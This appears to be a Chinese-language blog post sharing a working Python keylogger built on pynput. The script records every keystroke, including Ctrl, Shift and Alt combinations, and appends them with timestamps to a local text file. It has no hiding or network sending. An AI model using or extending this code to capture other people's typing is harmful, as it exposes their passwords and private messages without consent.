安装依赖

pip install pynput

说明

  • 不能区分中英文/半角等
  • 不支持 Caps 大写锁定
  • 只能记录简单的输入,包括组合键等
"""键盘记录程序

处理的主要集中情况:

ctrl_l/ctrl_r + [key]
shift/shift_r + [key]
alt_l/alt_gr + [key]
[key]


# 安装
pip install pynput
"""

from pynput import keyboard
from datetime import datetime

record_file = "records.txt"


def write_log(text):
    with open(record_file, "a", encoding="utf-8") as f:
        f.write(text + "\n")


def get_name(key):
    "准确获取按键名称"
    if hasattr(key, "char"):
        name = key.char
    elif hasattr(key, "name"):
        name = key.name
    else:
        name = str(key)

    # 很关键,不然读取不到 按住ctrl时 输入的key
    name = repr(name).replace("'", "")
    return name


def test():
    "测试按键"

    def on_press(key):
        name = get_name(key)
        print(f"按下:|{name}|")

    def on_release(key):
        name = get_name(key)
        print(f"释放:|{name}|")

        if name == "esc":
            return False

    print("开始监听按键")
    with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
        listener.join()


# 按键队列
pressed_keys = set()


# Shift 符号映射表(针对 pynput 不自动转换的符号键)
SHIFT_MAP = {
    "`": "~",
    "1": "!",
    "2": "@",
    "3": "#",
    "4": "$",
    "5": "%",
    "6": "^",
    "7": "&",
    "8": "*",
    "9": "(",
    "0": ")",
    "-": "_",
    "=": "+",
    "[": "{",
    "]": "}",
    "\\": "|",
    ";": ":",
    "'": '"',
    ",": "<",
    ".": ">",
    "/": "?",
}

# 所有修饰键名称
MODIFIER_KEYS = {
    "ctrl_l",
    "ctrl_r",
    "shift",
    "shift_r",
    "alt_l",
    "alt_gr",
    "alt",
    "cmd",
    "cmd_r",
}

# \x01 ~ \x1a  →  A ~ Z
CHAR_MAP = {repr(chr(i)).replace("'", ""): chr(ord("A") + i - 1) for i in range(1, 27)}


def compute_display(name: str) -> str:
    """根据当前修饰键状态,计算屏幕实际显示/触发的内容。"""
    has_shift = bool(pressed_keys & {"shift", "shift_r"})
    has_ctrl = bool(pressed_keys & {"ctrl_l", "ctrl_r"})
    has_alt = bool(pressed_keys & {"alt_l", "alt_gr", "alt"})

    if has_ctrl:
        name = CHAR_MAP.get(name, name)
        return f"Ctrl+{name}"

    if has_alt:
        return f"Alt+{name}"

    if has_shift:
        # pynput 对字母键在 shift 按下时已自动返回大写,
        # 对数字/符号键则仍返回原始字符,需要查映射表补全。
        if len(name) == 1:
            if name.isalpha():
                return name.upper()  # 以防万一(通常 pynput 已处理)
            return SHIFT_MAP.get(name, f"Shift+{name}")

        return f"Shift+{name}"

    # 无修饰键:直接返回字符本身
    return name


def on_press(key):
    name = get_name(key)

    if name in MODIFIER_KEYS:
        # 修饰键按下:加入集合,等待配合普通键使用
        pressed_keys.add(name)
        display = None  # 修饰键单独不产生显示字符
    else:
        # 普通键按下:结合当前修饰键计算实际显示内容
        display = compute_display(name)

    if display:
        log_display = f"[{datetime.now()}] {display}"
        print(log_display)
        write_log(log_display)

    # log_press = f"[{datetime.now()}] PRESS:   {name}"
    # print(log_press)
    # write_log(log_press)


def on_release(key):
    name = get_name(key)

    # 修饰键释放:从集合中移除(discard 不抛异常)
    pressed_keys.discard(name)

    # log = f"[{datetime.now()}] RELEASE: {name}"
    # print(log)
    # write_log(log)


def run():
    print("开始监听按键")
    with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
        listener.join()


if __name__ == "__main__":
    # test()
    run()
Logo

Agent 垂直技术社区,欢迎活跃、内容共建。

更多推荐